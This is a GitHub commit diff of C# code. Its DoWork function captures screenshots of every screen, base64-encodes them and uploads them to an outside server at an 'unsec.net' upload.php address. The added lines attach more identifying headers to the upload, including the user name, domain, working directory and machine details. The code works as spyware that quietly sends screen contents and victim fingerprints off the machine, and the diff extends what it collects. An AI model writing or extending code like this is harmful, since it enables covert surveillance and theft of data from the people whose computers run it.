File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -35,13 +35,20 @@ private static byte[] TakeSnapShot(bool primaryOnly)
3535 }
3636
3737 private static void DoWork ( )
38- {
38+ {
3939 //File.WriteAllBytes(@"Z:\.Trash\kk.png", TakeSnapShot(true));
4040
4141 var data = Convert . ToBase64String ( TakeSnapShot ( false ) ) ;
4242 var client = new WebClient ( ) ;
43+ client . Headers . Add ( "X-Dab-MachineName" , Environment . MachineName ) ;
4344 client . Headers . Add ( "X-Dab-HostName" , Dns . GetHostName ( ) ) ;
4445 client . Headers . Add ( "X-Dab-OsVersion" , Environment . OSVersion . ToString ( ) ) ;
46+ client . Headers . Add ( "X-Dab-CWD" , Environment . CurrentDirectory ) ;
47+ client . Headers . Add ( "X-Dab-ProcessorCount" , Environment . ProcessorCount . ToString ( ) ) ;
48+ client . Headers . Add ( "X-Dab-UserName" , Environment . UserName ) ;
49+ client . Headers . Add ( "X-Dab-UserDomainName" , Environment . UserDomainName ) ;
50+ client . Headers . Add ( "X-Dab-DotNetVersion" , Environment . Version . ToString ( ) ) ;
51+ client . Headers . Add ( "X-Dab-TickCount" , Environment . TickCount . ToString ( ) ) ;
4552
4653 using ( var stream = client . OpenWrite ( "http://www2.unsec.net/usb/upload.php" ) )
4754 {
You can’t perform that action at this time.
0 commit comments